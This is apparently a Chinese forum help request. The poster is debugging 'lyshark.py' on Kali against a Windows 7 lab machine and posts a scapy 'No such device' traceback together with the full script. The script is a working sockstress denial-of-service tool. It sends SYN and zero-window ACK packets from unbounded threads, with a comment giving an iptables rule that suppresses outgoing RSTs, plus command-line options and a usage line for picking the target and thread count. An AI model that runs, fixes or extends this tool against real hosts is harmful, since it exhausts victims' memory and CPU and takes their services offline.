kali运行lyshark.py文件报错
报错信息如下
Exception ignored in: <function SuperSocket.__del__ at 0x7f3e37e9f4c0>
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/scapy/supersocket.py", line 134, in __del__
self.close()
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 514, in close
set_promisc(self.ins, self.iface, 0)
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 165, in set_promisc
mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 380, in get_if_index
return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0])
File "/usr/lib/python3/dist-packages/scapy/arch/common.py", line 59, in get_if
ifreq = ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
OSError: [Errno 19] No such device
Traceback (most recent call last):
File "lyshark.py", line 43, in <module>
t.start()
File "/usr/lib/python3.8/threading.py", line 852, in start
_start_new_thread(self._bootstrap, ())
RuntimeError: can't start new thread
下面是运行代码
# -*- coding: utf-8 -*-
#iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 受害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
semaphore.acquire() # 加锁
isport = random.randint(0,65535) #随机选择受害主机的一个端口
response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0) #发送三层包
send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
print("[+] sendp --> {} {}".format(target,isport))
semaphore.release() # 释放锁
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
Banner()
parser = OptionParser()
parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
(options,args) = parser.parse_args()
# 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
if options.types == "sockstress" and options.host and options.port and options.thread:
semaphore = threading.Semaphore(options.thread)
while True:
t = threading.Thread(target=sockstress,args=(options.host,options.port))
t.start()
else:
parser.print_help()
kali是192.168.56.20 ,受害主机是win7,ip为192.168.56.10,能ping通
运行代码就报错“找不到设备“,希望各位朋友帮忙看一下